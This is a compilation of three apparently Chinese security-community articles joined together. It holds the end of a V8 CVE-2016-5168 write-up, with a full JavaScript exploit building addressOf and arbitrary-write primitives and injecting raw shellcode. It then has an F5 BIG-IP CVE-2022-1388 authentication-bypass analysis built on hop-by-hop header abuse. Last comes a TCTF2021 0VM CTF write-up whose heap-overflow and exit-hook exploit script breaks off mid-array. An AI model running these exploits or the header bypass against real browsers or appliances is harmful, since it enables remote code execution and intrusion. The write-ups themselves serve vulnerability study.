0xbbb2be06743 67 4c3950ff REX.W cmpq [rax-0x1],r10
0xbbb2be06747 71 0f851d000000 jnz 106 (0xbbb2be0676a)
0xbbb2be0674d 77 c7401b01000000 movl [rax+0x1b],0x1
0xbbb2be06754 84 48b8112348ddd5280000 REX.W movq rax,0x28d5dd482311 ;; object: 0x28d5dd482311 <undefined>
0xbbb2be0675e 94 488be5 REX.W movq rsp,rbp
0xbbb2be06761 97 5d pop rbp
0xbbb2be06762 98 c20800 ret 0x8
0xbbb2be06765 101 e8a0d8d7ff call 0xbbb2bb8400a ;; deoptimization bailout 1
0xbbb2be0676a 106 e8a5d8d7ff call 0xbbb2bb84014 ;; deoptimization bailout 2
0xbbb2be0676f 111 90 nop
显然这里多了一个`Map(FAST_HOLEY_ELEMENTS)`的检查。既然加了patch和没加patch的生成的代码一样，为何后者能够有漏洞，这是因为虽然`checkmap`都移除了，但是`checkmap`仅能代表在这段JIT代码里可以做检查，调试发现，前者是无法执行到JIT的那个代码的，因为在执行JIT代码之前就已经做了检查（kPrototypeCheckGroup标记导致）。而后者能够执行到JIT代码。
最终POC如下
var a;
function Ctor() {
a = new Date();
}
function opt() {
a.x = 0x123456;
}
for (var i=0;i<10000;i++) {
Ctor();
}
for (var i=0;i<10000;i++) {
opt();
}
Ctor();
opt();
%DebugPrint(a);
var str = new String(null);
print(str);
程序最终会崩溃
DebugPrint: 0xf89de5a6539: [JSDate]
- map = 0x3f13527042a9 [FastProperties]
- prototype = 0x3fccf1f0c2d9
- elements = 0x1bcb0fe02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
- value = 0xf89de5a6599 <Number: 1.61563e+12>
- time = NaN
- properties = {
}
Received signal 11 <unknown> 000000000000
==== C stack trace ===============================
[0x7f2ad9dc7a4e]
[0x7f2ad9dc79a5]
[0x7f2ad99cb8a0]
[0x7f2ad8691b9c]
[0x7f2ad869a1cd]
[0x7f2ad869a8ae]
[0x7f2ad86bb26c]
[0x563cbf958f25]
[0x563cbf958e45]
[0x7f2ad86a244a]
[0x7f2ad87cceef]
[0x7f2ad87cb9d2]
[0x7f2ad87cb52f]
[0x2c31d0e043a7]
[end of stack trace]
Segmentation fault (core dumped)
虽然我们在`opt`函数里增加了一个属性，我们看到`properties`为空值，这意味着已发生了溢出。
可以看到，`0x123456`越界写到了后面，破坏了某处数据，导致程序崩溃，该处实际上就是`null
Value`对象。我们将最后的`opt`函数注释掉，然后重新调试。
DebugPrint: 0x2609351265d9: [JSValue]
- map = 0x15994da86981 [FastProperties]
- prototype = 0x1a0972b178c1
- elements = 0x2adf5c602241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x2adf5c602251 <String[4]: null>
- properties = {
#length: 0x2adf5c656379 <AccessorInfo> (accessor constant)
}
### addressOf原语构造
该对象的`value`指针指向了`0x2adf5c602251`，而该处正是属性值越界写的地方，因此，我们可以控制整个`null
Value`对象的数据，那么，我们只需要篡改`length`和`content`，就能完成地址泄露。
文章开头介绍过有关属性存储的一些性质，那么，我们越界写，将`content`对应的位置属性赋值为对象地址，将`length`对应的位置的属性赋值为合适的整数，那么就可以再通过`String(null)`对象将content的内容读取出来，也就是实现了地址泄露，为了完成这个过程，我们还得保证不能损坏`null
Value`对象的前2个字段的数据，也就是`MAP`和`hash`。由于`hash`仅在低4字节有数据，那么我们可以将这个位置对应的属性赋值为0，因为0属于`SMI`类型，被保存到`hash`字段的高4字节处不影响其值；接下来是如何绕过`MAP`的值，我们可以考虑在对应字段赋值为一个`double`值，这样，该处数据不会被覆盖，`double`写入相当于是`mov
[val+0x7] = double_val`
该处是一个`MAP`对象内部，这个位置的数据正好是一个不变的量，因此，我们只需要原模原样的赋值回去就可以了。
pwndbg> x /2gx 0x0000335b22d82361+0x7
0x335b22d82368: 0x0019000400007300 0x00000000082003ff
于是可以构造出`addressOf`原语
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}
var set;
function opt_set() {
set = new Set();
}
function fakeNullStrValue(obj) {
set.x0 = p64f(0x00007300,0x00190004); //skip map
set.x1 = 0; //hash
set.x2 = 0x8; //length
set.x3 = obj; //content
}
for (var i=0;i<10000;i++) {
opt_set();
}
for (var i=0;i<10000;i++) {
fakeNullStrValue({});
}
var str = new String(null);
function addressOf(obj) {
opt_set();
fakeNullStrValue(obj);
var addr = 0;
for (var i=0;i<0x8;i++) {
addr += (str.charCodeAt(i) * Math.pow(0x100,i));
}
return addr - 0x1;
}
print("str_addr=" + addressOf(str).toString(16));
### arb_write原语构造
如何利用这个属性值越界溢出构造任意写原语呢？首先，我没有找到方法如何让一个Array对象临接于`properties`的位置之后，不然我们可以很容易通过修改`Array`对象的`length`属性来构造一个`oob`数组。所以我们可以考虑再借助另外两个不同的对象，这样有三个对象，由于最开始他们的`properties`都为空值，因此，他们的`properties`地址会一样，那么，首先利用第一个对象的属性溢出，伪造`content
= null_value_self_addr+0x1`，
那么接下来用第二个对象的属性溢出，往`content`位置赋值一个地址`addr-0x7`的`double`数据，那么这个地址值`addr-0x7`会被写入到`null_value_self_addr+0x8`处，对应的也就是`null
value`对象的hash字段，
利用最后一个对象的属性溢出，往`hash`字段赋值为值`val`的`double`数据，那么`val`就会被写入到`addr`处，构造出了任意地址写的原语。
var set;
function opt_set() {
set = new Set();
}
function fakeNullStrValue(obj) {
set.x0 = p64f(0x00007300,0x00190004); //skip map
set.x1 = 0; //hash
set.x2 = 0x8; //length
set.x3 = obj; //content
}
var map;
function opt_map() {
map = new Map();
}
function writeNullStrValuePtrContent(val) {
map.x0 = p64f(0x00007300,0x00190004); //skip map
map.x1 = 0; //hash
map.x2 = 0x8; //length
map.x3 = val //content
}
var date;
function opt_date() {
date = new Date();
}
function writeBackingStorePtr(val) {
date.x0 = p64f(0x00007300,0x00190004); //skip map
date.x1 = val; //hash
}
for (var i=0;i<10000;i++) {
opt_set();
}
for (var i=0;i<10000;i++) {
fakeNullStrValue({});
}
var str = new String(null);
for (var i=0;i<10000;i++) {
opt_map();
}
for (var i=0;i<10000;i++) {
writeNullStrValuePtrContent(i+1.1);
}
for (var i=0;i<10000;i++) {
opt_date();
}
for (var i=0;i<10000;i++) {
writeBackingStorePtr(i+1.1);
}
function arb_write(addr,value) {
opt_set();
fakeNullStrValue(String(null));
//%DebugPrint(set);
//%SystemBreak();
opt_map();
writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000));
//%DebugPrint(map);
//%SystemBreak();
opt_date();
//%DebugPrint(date);
writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000));
//%SystemBreak();
}
其中，`String(null)`与`new String(null)`不同之处在于`String(null)`直接得到了那个`null
value`对象，因此在写入时，content就直接是`null value`对象本身的地址。
### exp
当构造出以上两个原语以后，就能够轻松写出exp了
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}
var set;
function opt_set() {
set = new Set();
}
function fakeNullStrValue(obj) {
set.x0 = p64f(0x00007300,0x00190004); //skip map
set.x1 = 0; //hash
set.x2 = 0x8; //length
set.x3 = obj; //content
}
var map;
function opt_map() {
map = new Map();
}
function writeNullStrValuePtrContent(val) {
map.x0 = p64f(0x00007300,0x00190004); //skip map
map.x1 = 0; //hash
map.x2 = 0x8; //length
map.x3 = val //content
}
var date;
function opt_date() {
date = new Date();
}
function writeBackingStorePtr(val) {
date.x0 = p64f(0x00007300,0x00190004); //skip map
date.x1 = val; //hash
}
for (var i=0;i<10000;i++) {
opt_set();
}
for (var i=0;i<10000;i++) {
fakeNullStrValue({});
}
var str = new String(null);
function addressOf(obj) {
opt_set();
fakeNullStrValue(obj);
var addr = 0;
for (var i=0;i<0x8;i++) {
addr += (str.charCodeAt(i) * Math.pow(0x100,i));
}
return addr - 0x1;
}
for (var i=0;i<10000;i++) {
opt_map();
}
for (var i=0;i<10000;i++) {
writeNullStrValuePtrContent(i+1.1);
}
for (var i=0;i<10000;i++) {
opt_date();
}
for (var i=0;i<10000;i++) {
writeBackingStorePtr(i+1.1);
}
var arr_buf = new ArrayBuffer(0x100);
var func = new Function("var a = 0x66666666;");
var shellcode_ptr_addr = addressOf(func) + 0x38;
print("shellcode_ptr_addr="+shellcode_ptr_addr.toString(16));
var arr_buf_addr = addressOf(arr_buf);
var backing_store_ptr_addr = arr_buf_addr + 0x20;
print("backing_store_ptr_addr=" + backing_store_ptr_addr.toString(16));
var str_addr = addressOf(str);
print("str_addr=" + str_addr.toString(16));
function arb_write(addr,value) {
opt_set();
fakeNullStrValue(String(null));
//%DebugPrint(set);
//%SystemBreak();
opt_map();
writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000));
//%DebugPrint(map);
//%SystemBreak();
opt_date();
//%DebugPrint(date);
writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000));
//%SystemBreak();
}
arb_write(backing_store_ptr_addr - 0x7,shellcode_ptr_addr);
var arb_dv = new DataView(arr_buf);
var shellcode_addr = u64f(arb_dv.getFloat64(0,true));
print("shellcode_addr=" + shellcode_addr.toString(16));
arb_write(backing_store_ptr_addr - 0x7,shellcode_addr);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
arb_dv.setUint32(i*4,shellcode[i],true);
}
%DebugPrint(str);
%SystemBreak();
//执行shellcode
//func();
## 0x03 感想
本漏洞复现中学到了有关`String`的知识，并且利用了指针的指针的概念。感觉收获很多。
## 0x04 参考
[谷歌中的V8引擎：Ignition和TurboFan](https://blog.csdn.net/chenkeyu1997/article/details/90295405)
[CVE-2016-5168漏洞分析](https://de4dcr0w.github.io/CVE-2016-5168%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html)
[v8 exploit](https://eternalsakura13.com/2018/05/06/v8/) | 社区文章 |
**作者：知道创宇404实验室 kuipla、Billion
时间：2022年05月10日**
2022/5/4日F5官方发布一个关于BIG-IP的未授权RCE（CVE-2022-1388）安全公告，官方对该漏洞的描述是`Undisclosed
requests may bypass iControl REST
authentication.`，修复方式中提到了低版本可以将非`Connection:keep-alive`和`Connection:close`的请求全部关闭。
## 0x00 补丁分析
由于BIG-IP的框架依旧有大佬分析过了，因此我们直接根据去寻找apache的认证服务`mod_pam_auth.so`以及`mgmt`转发的8100端口对应的认证/usr/share/java/rest/目录下发生改变的jar包上。
#### mod_pam_auth.so
在ida中使用bindiff插件对比新旧两个so文件，能够发现只有sub_5EF0和5AF0改动比较大
接下来用ida把这两个函数反编译出来进行对比，主要修改位置有以下两处
此处是将非`Connection:keep-alive`和`Connection:close`的请求头清除。
此处是对X-F5-Auth-Token进行了验证，而不是之前简单判断了下是否赋值。
测试发现确实可以bypass apache认证
添加xf5头
#### icrd.jar&f5.rest.jar
通过对icrd/com/f5/mgmt/tm/common/WellKnownPorts.class的路由分析以及鉴权的com/f5/rest/app/RestServerServlet.class进行前后对比，我们发现一个很奇怪的事情，鉴权部分的代码并未进行大的更改，也就是说apache的请求走私可以bypass掉jetty的认证。
#### 总结
猜测`Connection`头请求走私可以bypass jetty的认证。
根据官方的描述和推特上的讨论，我们一开始是认为这个洞是由CVE-2021-22986的SSRF带出cookie的bypass。因为一般的请求走私是CL-CL，CL-TE，TE-CL，TE-TE，但因为BIG-IP使用的apache不支持 Transfer-Encoding，因此我们猜测走私的原因放到了`Content-Length`上走私请求到一个未授权的接口获取SSRF。
后面卡了很久也没找到这个"不存在的接口"，最后才发现是`hop-by-hop`导致的问题。
关于`hop-by-hop`是在这里导致的权限bypass我们放到下面细讲。
## 0x01 漏洞分析
首先我们先来看如果要Bypass掉Apache的认证怎么做，根据官方的补丁，只要符合`X-F5-Auth-Token`不为空即可，并且mod_pam_auth.so是先判断X-F5-Auth-Token后再判断Authorization的值，这给了`hop-by-hop`一个很大的操作空间。
那么剩下的就是jetty的认证，jetty的认证只要由组成X-F5-Auth-Token和Authorization组成。由于鉴权部分并未做太大改动，因此我们简单描述下两者是如何进行检验的。
#### X-F5-Auth-Token
com/f5/rest/workers/EvaluatePermissions.class#evaluatePermission
请求最后会被送到`/shared/authz/tokens/`进行验证，由于跟CVE-2022-1388关系不大就不继续跟下去了。
#### Authorization
Authorization的鉴权非常奇怪，Authorization是由authn进行的验证，之前了解过CVE-2021-22986肯定知道这里之前只鉴权了用户名是否存在，因为admin一定存在，只要将Auth设置为`YWRtaW46`就行。
补丁的是检测了X-Forwarded-Host不为本地的Basic Auth header的账号密码，但X-Forwarded-Host为本地IP依旧只检测了账户名是否正确。
com/f5/rest/common/RestOperationIdentifier.class#setIdentityFromBasicAuth
那么这个X-Forwarded-Host是怎么赋值的呢，很明显已公开的poc中并没有直接在header中添加X-Forwarded-Host，其实这个字段是由apache整出来的，后面提到的变形poc中会讲解怎么利用，这里由于逆向能力不强就不献丑了。
在最新版测试发现这个问题依旧存在，猜测可能是环境内部的一些其他认证需求导致的这个问题。
#### hop-by-hop
hop-by-hop简单的说就是将可以在`Connection: Keep-Alive`后面再加一个字段，这个字段在经过代理服务器转发后会被删除。理论上东西的危害非常有限，甚至于说不能算漏洞。
但是在BIG-IP的环境下，有一个非常罕见的系统流程路径可以经过hop-by-hop产生RCE。
让我们回顾一下整个系统的认证流程，apache是检查Authorization的正确性，但只检测X-F5-Auth-Token是否为空，并且优先检查X-F5-Auth-Token。Jetty同样优先检查X-F5-Auth-Token的正确性，但只检查Authorization是否是合法用户名。
那么只要我们设置Host为localhost，X-F5-Auth-Token不为空，Authorization设置为`YWRtaW46`，`Connection: Keep-Alive, X-F5-Auth-Token`就可以绕过apache的检查，同时apache还会贴心的帮我们删去`X-F5-Auth-Token`，把请求直接送到`Authorization`的验证，从而实现bypass。
## 0x02 一些poc的变种
经过我们的测试发现两种poc变种
1. 写两个`X-F5-Auth-Token:`也能绕过apache的检测
2. 同时由于hop-by-hop的原因，即使apache删除了header中的X-Forwarded-Host，但如果我们用`Connection: Keep-Alive, X-F5-Auth-Token, X-Forwarded-Host`，那么我们设置的X-Forwarded-Host依旧生效，这样Host就不必必须为localhost了
## 参考链接
<https://book.hacktricks.xyz/pentesting-web/abusing-hop-by-hop-headers>
<https://blog.riskivy.com/f5%E4%BB%8E%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E5%88%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90>
<https://support.f5.com/csp/article/K23605346>
* * * | 社区文章 |
# TCTF2021-0VM-考验输入的构造
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 题目附件下载
链接: <https://pan.baidu.com/s/1q8zkmKiHVYVJ8OaV4BWHOg> 提取码: llpj
## 程序输入分析
程序实际上通过解析你输入的数据，将其通过一定的算法转化为相关的指令，然后再进行模拟指令的运行，漏洞实际上存在于一些指令的运行中，但是比较麻烦的是构造输入的问题。
其输入的解析函数如下，可见其只需要在你的输入中解析出`v5，v6，v7`还有`choice`，更简化一点其实我们用到的指令只需要`v5，v7`这两个参数。
这些的参数的构造是由你输入的64个8字节进行解析的，它由`sub_1309`函数主要完成解析。解析的过程其实就是三角函数的公式计算过程需要一些特别的技巧。其过程大概数通过三角函数对你的输入做一系列处理后，输出平方和的开方（计算三角函数的常数项系数）
首先其构造一个三角函数序列
t=2*PI/64
a1={1,cost,cos2t,...,cos63t}
a2={0,-sint,-sin2t,...,-sin63t}
数据分批(mod)进行处理。对于每个mod，对数据按照mod个一组进行分批次处理（mod=2，就分32个批次，注意mod是2的整数倍），每个批次对数据的处理遵从下面的公式：
mod：每个组的数据个数
n1: 总共由多少组数据
v0= a5[ii+n]
v1= a6[ii+n]
t0
=a5[ii + n + mod / 2] * a1[ii * n1]-a6[ii + n + mod / 2] * a2[ii * n1]
=a5[ii + n + mod / 2]*cos(ii*n1*t)-a6[ii + n + mod / 2]*(-sin(ii*ni*t))
=a5[ii + n + mod / 2]*cos(ii*n1*t)+a6[ii + n + mod / 2]*sin(ii*ni*t)
t1
=a5[ii + n + mod / 2]*a2[ii * n1]+a6[ii + n + mod / 2] * a1[ii * n1];
=a5[ii + n + mod / 2]*(-sin(ii * n1*t))+a6[ii + n + mod / 2]*cos(ii*n1*t)
=-a5[ii + n + mod / 2]*sin(ii * n1*t)+a6[ii + n + mod / 2]*cos(ii*n1*t)
a5[ii+n] = v0+t0
a6[ii+n] = v1+t1
a5[ii+n+ mod/2 ]=v0-t0
a6[ii+n+ mod/2 ]=v1-t1
不难发现这其中由一些特殊的情况，我们着重来考虑一下三种特殊的情况，这对我们构造数据有帮助。
## 全0的情况
这里比较理解从上面公式就可以看出来，如果 `a5[ii+n]、a6[ii+n]、a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2
]`都是`0`的话，那么那他们处理完来了之后还是`0`。
如果`a5[ii+n]、a6[ii+n]、a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2
]`有一边是全`0`的话，再处理后其位置会被相反的方向的值覆盖。
具体来说，当`a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2
]`是`0`的话，`a5[ii+n]、a6[ii+n]`的值就会扩展到`a5[ii+n+ mod/2 ]、a6[ii+n+ mod/2
]`上面。当`a5[ii+n]、a6[ii+n]`是`0`的话`t0、t1`的值也会扩展到其另一测。
**这里其实是下面的情况需要全0情况做铺垫，因为当你想要保存一边的值的时候只需要将另一边设置为全0。**
## 初始全部相等的情况
我们以总数4个为例子看看这样的情况。
mod=2,n1=2
a5: l l l l
a6: 0 0 0 0
->
mod=4,n=1
a5: 2l 0 2l 0
a6: 0 0 0 0
->
a5: 4x 0 0 0
a6: 0 0 0 0
可以发现所有的数据都会首部聚集，这其实是一个非常好的的结果。因为我们如果翻看之后的代码我们会发现其实并不需要控制`v7`的每一个字节，只需要`v7`的第`0`个字节和第`4`个字节能够控制就行了。`v7`是通过你最后计算的数据`4-12`的位置进行表达的。
有了这样的一个基本的想法，其实我们就能够做到控制选择功能的`choice`和参数`v7`。参考如下的方案。
mod=2,n1=8
a5: l1 l1 l1 l1 l2 l2 l2 l2 l3 l3 l3 l3 l3 l3 l3 l3
a6: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
->
mod=4,n1=4
a5: 2l1 0 2l1 0 2l2 0 2l2 0 2l3 0 2l3 0 2l3 0 2l3 0
a6: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
->
mod=8,n1=2
a5: 4l1 0 0 0 4l2 0 0 0 4l3 0 0 0 4l3 0 0 0
a6: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
->
mod=16,n1=1
a5: 4l1+4l2 0 0 0 4l1-4l2 0 0 0 8l3 0 0 0 0 0 0 0
a6: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
->
a5: 4l1+4l2+8l3 0 0 0 4l1-4l2 0 0 0 4l1+4l2-8l3 0 0 0 4l1-4l2 0 0 0
a6: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
这样观察`前12字节`我们发现以这样的方式构造第`0、4、8字节`都可控而且其他位都是`0`。我们想要任意控制这三个位置的值列一个方程看看。
4l1+4l2+8l3=a
4l1-4l2=b
4l1+4l2-8l3=c
->
4 4 8 | a
4 -4 0 | b
4 4 -8 | c
->
1 1 2 | a1
1 -1 0 | b1
1 1 -2 | c1
->
1 1 2 | a1
0 -2 -2 | b1-a1
0 0 -4 | c1-a1
这个方程一定有解。
## 相邻互为相反数的情况
为了出发vm的功能，还需要控制v5的内容，和上面的不同，v5由第1个位置（从0开始）控制，如何控制这个位置的值呢成为一个问题？仍然是考虑特殊的情况，即相邻为相反数的情况。
mod=2 n1=32
a5: l0 -l0 l1 -l1 l2 -l2 l3 -l3 ...
a6: 0 0 0 0 0 0 0 0 ...
mod=4 n1=16
a5: 0 2l0 0 2l1 0 2l2 0 2l3 ...
a6: 0 0 0 0 0 0 0 0 ...
mod=8 n1=8
a5: 0 2l0 0 2l0 0 2l2 0 2l2 ...
a6: 0 -2l1 0 2l1 0 -2l3 0 -2l3 ...
当模拟到`mod=8
n1=8`时，我们回过头来看看这里用到的`a1，a2`中的内容对这里的影响。之前我们知道全0的就不考虑了，这里主要考虑`ii=1和ii=3`这两对的经过处理后情况。当`ii=1`是`a1`和`a2`对应的角度是`ii*n1*t=1*8*(2PI/64)=PI/4`,另一边的角度是`ii*n1*t=3*8*(2PI/64)=3*PI/4`,可以看到正好是互补的，带入公式计算我们还能发现更加神奇的地方。
a=ii*n1*t=1*8*(2PI/64)
ii=1
a5[ii+n]=2l0+2l2*cos(a)+(-2l3)sin(a) = 2l0+2l2*cos(a)-2l3*sin(a)
a6[ii+n]=-2l1+ -2l2*sin(a)+(-2l3)cos(a)=-2l1-(2l2*sin(a)+2l3*cos(a))
a5[ii+n+ mod/2 ]=2l0-(2l2*cos(a)+(-2l3)sin(a)) =2l0-(2l2*cos(a)-2l3*sin(a))
a6[ii+n+ mod/2 ]=-2l1-(-2l2*sin(a)+(-2l3)cos(a)) =-2l1+(2l2*sin(a)+2l3*sin(a))
ii=3
a5[ii+n]=2l0+2l2*cos(PI-a)+2l3*sin(PI-a) = 2l0-(2l2*cos(a)-2l3*sin(a))
a6[ii+n]=2l1+ -2l2*sin(PI-a)+2l3*cos(PI-a)= 2l1-(2l2*sin(a)+2l3*sin(a))
a5[ii+n+ mod/2 ]=2l0-(2l2*cos(PI-a)+2l3*sin(PI-a)) = 2l0+(2l2*cos(a)-2l3*sin(a))
a6[ii+n+ mod/2 ]=2l1-(-2l2*sin(PI-a)+2l3*cos(PI-a)) = 2l1+(2l2*sin(a)+2l3*sin(a))
不难发现如果方`l0=2l2*cos(a)-2l3*sin(a)`并且`l1=2l2*sin(a)+2l3*sin(a)`时就会变化成为
a5:0 4l0 0 0 0 0 0 0 4l0
a6:0 -4l1 0 0 0 0 0 0 4l1
推广一下，按照这样的方程推导下去就会得到这样的结果
a5: 0 l0 0 ... 0 l0
a6: 0 -l1 0 ... 0 l1
这样我们就能够在部影响第0个位置和前12个位置的前提下修改我们的v5为任意的值。
总体的思想上来说就是前32为按照全等的思想构造，控制`choice`和`v7`的值；后32字节通过相邻为相反数的情况控制`v5`的值。可能这样来说还是有点抽象，大家最好好事结合exp和具体的代码来看看。
## 程序逻辑分析
经过这次比赛还是推荐大家有docker环境给你还是把docker环境弄出来，实际的调一调，免得像我一样最后关头发现偏移不对，也没时间重新把环境拉下来调了
。废话不多说还是具体来看一下这个函数的个功能。
在介绍功能之前首先用一张图表示一下vm的机制。
首先程序在全局的0x5060处mmap出了一段地址空间用于存放vm空间的管理结构。程序中每申请一段vm空间都会先malloc一个0x50的堆块，这个堆块就是vm空间的管理结构，其结构大致如下所示
struct
{
void *space;//指向地址空间
void *free_list;//指向地址空间中被释放的页
char used[0x40];//用于表示vm空间中的页当前是否在使用
};
每个页的大小是`a*0x10`其中a是由你申请的时候决定的，同时也决定了vm空间管理结构在0x5060所指向空间中的地址。used中的每个字节都表示每个页的释放和分配状态（0释放，1表示分配）。同时被释放的页会被链入到freelist单链表中，被释放的页的头8字节都是一个fd指针，指向下一个被释放的堆块，当申请页的时候优先从freelist中取出来。
vm程序的主要功能有如下几个。
* mov_const存入一个数到指定的寄存器
* store将指定寄存器中的内容存储到指定的vm空间中（8字节）
* load是从指定的vm空间总取出内容放到指定的寄存器中（8字节）
* ioctl实现了一写扩展功能，包括：
1. show功能，输出指定vm空间中的内容
2.alloc功能，从指定vm空间申请一个页
3.free功能，将指定的vm空间中的一个页给释放掉
## 漏洞定位
以load为例子，我们关注一下vm程序如何操作vm空间的内容的。
首先我们看一下其地址结构，其中`pn`（第4个字节）表示哪一块地址空间，`off`表示在对应地址空间中的偏移（第0个字节）。
|00 00 00|pn|00 00 00｜off|
|高 <- 低|
程序首先取出pn到v3中，然后根据off偏移计算出其在对应vm空间中的那个页上，页号存在v4上。然后检查vm空间管理结构的地址为不为空;vm空间管理结构中的space指针为不为空;然后检查对应的页上是否已将申请（检查used[v4]是否为1）。
注意这里虽然检查了页块是否已经被分配，但是并没有做边界检查。因为每次都是读写8字节的数据，如果我在页块的末尾读写，就会溢出到下一个页块的开头。
**这是一个典型的因为缺乏边界检查而导致的溢出漏洞。**
## 漏洞利用
在之前的介绍中提到过vm的空间管理中被释放的堆块会被链入到`free_list`中形成一个单链表，每个被释放的页块的头8个字节指向下一个被释放的堆块。在这个结构中我们可以利用溢出漏洞修改被释放堆块的fd指针。
观察程序的释放操作，当页块进入`free_list`中的时候采用的是向链表的末尾插入的方式，这意味这个操作会在末尾的页的头部写上新插入的页的地址。
结合我们可以修改fd指针，便可以想到将fd指针修改到任意位置，再释放一个页，那么就可以在任意位置写上一个页的地址。
这个溢出不仅能够溢出写，也能够溢出读。通过溢出读读去页的fd指针，我们就得到了一个vm空间的地址。这里非常好的是vm空间的地址是和libc的偏移是固定的，通过这个地址的泄漏就能够获得libc的地址（这里一定要在他的docker环境下调一下，偏移会有差异）。同时vm空间的地址和0x5060的地址的偏移也是固定的，同样也能计算出0x5060的地址。
由于0x5060管理这vm空间管理结构的地址，我们用上述`修改fd+释放页`的方法将一个页的地址写到0x5060的一个位置上，这样我们就获得了一个能够被我们控制的堆管理结构。修改space指针到任意的地址，就能实现任意读写了。
至此我们已经能够实现任意读写了，但是这个结构里面没有free没法劫持`free_hook`，同时2.31环境下的gadget在`malloc_hook`下都不满足条件。我这里用的方法是’exit_hook’的方式。
在我们调用exit或者正常退出程序的时候系统会调用`__run_exit_handler`函数进行处理其中就涉及到如下的`[0],[1]`这两个处理函数的地址都存放在了一个全局的变量`_rtld_global`中。我们可通过任意读写修改这个变量从而获得shell。
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
...
__libc_lock_lock (__exit_funcs_lock);[0]
restart:
cur = *listp;
...
free (cur);
__libc_lock_unlock (__exit_funcs_lock);[1]
...
}
/*
pwndbg> p/x _rtld_global
$2 = {
_dl_ns = {{
_ns_loaded = 0x7f32a2285190,
_ns_nloaded = 0x5,
...
_dl_rtld_lock_recursive = 0x7f32a2257150,<-__libc_lock_lock
_dl_rtld_unlock_recursive = 0x7f32a2257160,<-__libc_lock_unlock
...
}
*/
gdb调试的时候发现这个调用这个函数的时候其第一个参数是`_rtld_global+2312`，于是我们用任意写将`/bin/sh`写入到其中。修改`_dl_rtld_lock_recursive`为system地址，出发`exit`获得shell。
## EXP
from pwn import *
import struct
from math import *
from pwnlib.term.key import get
# set the cmd and addr
# PI = 6.283185306/2
x = [1, 0.99518472667400348, 0.9807852804104219, 0.95694033574825965, 0.92387953253949984, 0.88192126439179674, 0.83146961236398376, 0.77301045344458474, 0.70710678129080928, 0.63439328429187203, 0.5555702331728507, 0.47139673700479956, 0.38268343256942638, 0.29028467748374848, 0.19509032226920453, 0.09801714060469463, 2.9489624631118261e-10, -0.098017140017742144, -0.19509032169074472, -0.29028467691935222, -0.3826834320245292, -0.47139673648464914, -0.55557023268245631, -0.6343932838359565, -0.70710678087376333, -0.77301045307042471, -0.83146961203631309, -0.88192126411377114, -0.92387953231379671, -0.95694033557705271, -0.98078528029535994, -0.99518472661619461, - 1.0000000000000009, -0.99518472673181413, -0.98078528052548564, -0.95694033591946825, -0.92387953276520451, -0.88192126466982379, -0.83146961269165565, -0.77301045381874589, -0.70710678170785635, -0.63439328474778856, -0.55557023366324598, -0.47139673752495087, -0.38268343311432429, -0.29028467804814534, -0.19509032284766489, -0.098017141191647603, -8.8468915526718206e-10, 0.098017139430789338, 0.19509032111228469, 0.29028467635495592, 0.38268343147963202, 0.47139673596449866, 0.55557023219206192, 0.63439328338004086, 0.70710678045671727, 0.77301045269626456, 0.8314696117086422, 0.88192126383574521, 0.92387953208809337, 0.95694033540584555, 0.98078528018029787, 0.99518472655838564]
y = [0, -0.098017140311218318, -0.1950903219799745, -0.29028467720155032, -0.3826834322969776, -0.47139673674472399, -0.55557023292765328, -0.63439328406391404, -0.7071067810822862, -0.77301045325750462, -0.83146961220014837, -0.88192126425278394, -0.92387953242664833, -0.95694033566265635, -0.98078528035289114, -0.99518472664509927, -1.0000000000000007, -0.99518472670290903, -0.98078528046795388, -0.95694033583386406, -0.92387953265235234, -0.88192126453081032, -0.83146961252781981, -0.77301045363166532, -0.7071067814993327, -0.63439328451983013, -0.55557023341804823, -0.47139673726487497, -0.38268343284187512, -0.29028467776594674, -0.19509032255843456, -0.098017140898170901, - 5.897926019099442e-10, 0.098017139724265817, 0.1950903214015148, 0.29028467663715413, 0.38268343175208069, 0.4713967362245739, 0.55557023243725911, 0.63439328360799863, 0.70710678066524024, 0.77301045288334458, 0.83146961187247759, 0.88192126397475823, 0.9238795322009451, 0.9569403354914493, 0.98078528023782918, 0.99518472658729029, 1.0000000000000016, 0.99518472676071967, 0.98078528058301773, 0.95694033600507278, 0.92387953287805702, 0.88192126480883759, 